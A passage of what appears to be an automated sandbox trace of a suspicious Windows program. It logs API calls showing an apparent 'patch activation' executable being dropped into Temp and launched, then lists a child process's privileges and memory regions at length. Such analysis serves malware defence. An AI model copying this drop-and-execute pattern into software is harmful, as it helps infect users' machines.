ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0228.736] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x54dd08) returned 1 [0228.736] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\A1Photo-&-Art-Enhancer_Search&Patch_Activation.exe", nBufferLength=0x105, lpBuffer=0x54d9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\A1Photo-&-Art-Enhancer_Search&Patch_Activation.exe", lpFilePart=0x0) returned 0x58 [0228.737] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x54deb8) returned 1 [0228.737] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\A1Photo-&-Art-Enhancer_Search&Patch_Activation.exe" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\a1photo-&-art-enhancer_search&patch_activation.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x2ec [0228.739] GetFileType (hFile=0x2ec) returned 0x1 [0228.739] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x54de28) returned 1 [0228.739] GetFileType (hFile=0x2ec) returned 0x1 [0228.739] WriteFile (in: hFile=0x2ec, lpBuffer=0x138d8e88*, nNumberOfBytesToWrite=0x90e34, lpNumberOfBytesWritten=0x54dfc8, lpOverlapped=0x0 | out: lpBuffer=0x138d8e88*, lpNumberOfBytesWritten=0x54dfc8*=0x90e34, lpOverlapped=0x0) returned 1 [0229.542] CloseHandle (hObject=0x2ec) returned 1 [0229.553] LocalAlloc (uFlags=0x0, uBytes=0xb2) returned 0x8191d0 [0229.553] LocalAlloc (uFlags=0x0, uBytes=0xa) returned 0x7debf0 [0229.554] ShellExecuteExW (in: pExecInfo=0x2ac54f8*(cbSize=0x70, fMask=0x540, hwnd=0x0, lpVerb="open", lpFile="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\A1Photo-&-Art-Enhancer_Search&Patch_Activation.exe", lpParameters=0x0, lpDirectory=0x0, nShow=1, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x2ac54f8*(cbSize=0x70, fMask=0x540, hwnd=0x0, lpVerb="open", lpFile="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\A1Photo-&-Art-Enhancer_Search&Patch_Activation.exe", lpParameters=0x0, lpDirectory=0x0, nShow=1, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x36c)) returned 1 [0231.216] LocalFree (hMem=0x8191d0) returned 0x0 [0231.216] LocalFree (hMem=0x7debf0) returned 0x0 [0231.249] CoGetContextToken (in: pToken=0x54f560 | out: pToken=0x54f560) returned 0x0 [0231.249] CObjectContext::QueryInterface () returned 0x0 [0231.249] CObjectContext::GetCurrentThreadType () returned 0x0 [0231.249] Release () returned 0x0 [0231.256] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x13880, cHandles=0x1, pHandles=0x74bce0*=0x8c, lpdwindex=0x54f354 | out: lpdwindex=0x54f354) returned 0x0 Thread: id = 2 os_tid = 0xa58 Thread: id = 3 os_tid = 0xa5c [0058.211] CoGetContextToken (in: pToken=0x1b1df620 | out: pToken=0x1b1df620) returned 0x800401f0 [0058.211] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0234.558] CloseHandle (hObject=0x368) returned 1 [0234.559] CloseHandle (hObject=0x36c) returned 1 Thread: id = 4 os_tid = 0xa60 Thread: id = 5 os_tid = 0xa6c [0110.137] CoGetContextToken (in: pToken=0x1c05f8c0 | out: pToken=0x1c05f8c0) returned 0x0 [0110.138] CObjectContext::QueryInterface () returned 0x0 [0110.139] CObjectContext::GetCurrentThreadType () returned 0x0 [0110.139] Release () returned 0x0 Thread: id = 6 os_tid = 0xacc Thread: id = 7 os_tid = 0xad0 Thread: id = 8 os_tid = 0x8c0 Thread: id = 9 os_tid = 0xb64 Thread: id = 12 os_tid = 0x6b0 Thread: id = 13 os_tid = 0x9f0 Process: id = "2" image_name = "2.0.0-beta2.cps.exe" filename = "c:\\users\\keecfmwgj\\appdata\\local\\temp\\2.0.0-beta2.cps.exe" page_root = "0xca9f000" os_pid = "0x8e4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xa50" cmd_line = "\"C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\2.0.0-beta2.cps.exe\" " cur_dir = "C:\\Users\\kEecfMwgj\\Desktop\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f52a" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 482 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 483 start_va = 0x30000 end_va = 0x31fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 484 start_va = 0x40000 end_va = 0x40fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 485 start_va = 0x70000 end_va = 0xaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 486 start_va = 0x150000 end_va = 0x24ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 487 start_va = 0xc80000 end_va = 0x13d6fff monitored = 1 entry_point = 0x12ce0ca region_type = mapped_file name = "2.0.0-beta2.cps.exe" filename = "\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\2.0.0-beta2.cps.exe" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\2.0.0-beta2.cps.exe") Region: id = 488 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 489 start_va = 0x76f00000 end_va = 0x7707ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 490 start_va = 0x7efb0000 end_va = 0x7efd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 491 start_va = 0x7efdb000 end_va = 0x7efddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 492 start_va = 0x7efde000 end_va = 0x7efdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 493 start_va = 0x7efdf000 end_va = 0x7efdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 494 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 495 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 496 start_va = 0x7fff0000 end_va = 0x7fffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 497 start_va = 0x50000 end_va = 0x53fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 498 start_va = 0x60000 end_va = 0x60fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 499 start_va = 0x250000 end_va = 0x4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 500 start_va = 0x73690000 end_va = 0x736cefff monitored = 0 entry_point = 0x736be088 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 501 start_va = 0x73630000 end_va = 0x7368bfff monitored = 0 entry_point = 0x7366f9f4 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 502 start_va = 0x73620000 end_va = 0x73627fff monitored = 0 entry_point = 0x736220f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 503 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 504 start_va = 0x752b0000 end_va = 0x753bffff monitored = 0 entry_point = 0x752c3283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 505 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 506 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000076b00000" filename = "" Region: id = 507 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 508 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000076c20000" filename = "" Region: id = 509 start_va = 0x4b0000 end_va = 0x78ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 510 start_va = 0x752b0000 end_va = 0x753bffff monitored = 0 entry_point = 0x752c3283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 511 start_va = 0x753c0000 end_va = 0x75406fff monitored = 0 entry_point = 0x753c74c1 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 513 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 514 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 515 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 516 start_va = 0xb0000 end_va = 0x116fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 517 start_va = 0x76860000 end_va = 0x7695ffff monitored = 0 entry_point = 0x7687b6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 518 start_va = 0x75220000 end_va = 0x752affff monitored = 0 entry_point = 0x75236343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 519 start_va = 0x759c0000 end_va = 0x759c9fff monitored = 0 entry_point = 0x759c36a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 520 start_va = 0x74d40000 end_va = 0x74ddcfff monitored = 0 entry_point = 0x74d73fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 523 start_va = 0x75410000 end_va = 0x754bbfff monitored = 0 entry_point = 0x7541a472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 547 start_va = 0x76a60000 end_va = 0x76afffff monitored = 0 entry_point = 0x76a749e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 574 start_va = 0x759a0000 end_va = 0x759b8fff monitored = 0 entry_point = 0x759a4975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 578 start_va = 0x76970000 end_va = 0x76a5ffff monitored = 0 entry_point = 0x76980569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 579 start_va = 0x74a50000 end_va = 0x74aaffff monitored = 0 entry_point = 0x74a6a3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 584 start_va = 0x74a40000 end_va = 0x74a4bfff monitored = 0 entry_point = 0x74a410e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 585 start_va = 0x790000 end_va = 0x97ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000790000" filename = "" Region: id = 586 start_va = 0x20000 end_va = 0x3dfff monitored = 0 entry_point = 0x3158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 587 start_va = 0x250000 end_va = 0x3d7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000250000" filename = "" Region: id = 588 start_va = 0x430000 end_va = 0x4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 590 start_va = 0x20000 end_va = 0x3dfff monitored = 0 entry_point = 0x3158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 591 start_va = 0x75550000 end_va = 0x755affff monitored = 0 entry_point = 0x7556158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 592 start_va = 0x74c40000 end_va = 0x74d0bfff monitored = 0 entry_point = 0x74c4168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 595 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 596 start_va = 0x30000 end_va = 0x30fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 597 start_va = 0x4b0000 end_va = 0x630fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004b0000" filename = "" Region: id = 598 start_va = 0x690000 end_va = 0x78ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000690000" filename = "" Region: id = 599 start_va = 0x13e0000 end_va = 0x27dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000013e0000" filename = "" Region: id = 600 start_va = 0x27e0000 end_va = 0x2ff34fff monitored = 1 entry_point = 0x2e2e0ca region_type = mapped_file name = "2.0.0-beta2.cps.exe" filename = "\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\2.0.0-beta2.cps.exe" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\2.0.0-beta2.cps.exe") Region: id = 618 start_va = 0x790000 end_va = 0x86ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000790000" filename = "" Region: id = 619 start_va = 0x970000 end_va = 0x97ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000970000" filename = "" Region: id = 621 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 622 start_va = 0x130000 end_va = 0x133fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000130000" filename = "" Region: id = 623 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 624 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 625 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 626 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 627 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 628 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 629 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 630 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 631 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 632 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 633 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 634 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 635 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 636 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 637 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 638 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 639 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 640 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 641 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 642 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 643 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 644 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 645 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 646 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 647 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 648 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 649 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 650 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 651 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 652 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 653 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 654 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 655 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 656 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 657 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 658 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 659 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 660 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 661 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 662 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 663 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 664 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 665 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 666 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 667 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 668 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 669 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 670 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 671 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 672 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 673 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 674 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 675 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 676 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 677 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 678 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 679 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 680 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 681 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 682 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 683 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 684 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 685 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 686 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 687 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 688 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 689 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 690 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 691 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 692 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 693 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 694 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 695 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 696 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 697 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 698 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 699 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 700 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 701 start_va = 0x120000 end_va = 0x123fff monitored = 1 entry_point = 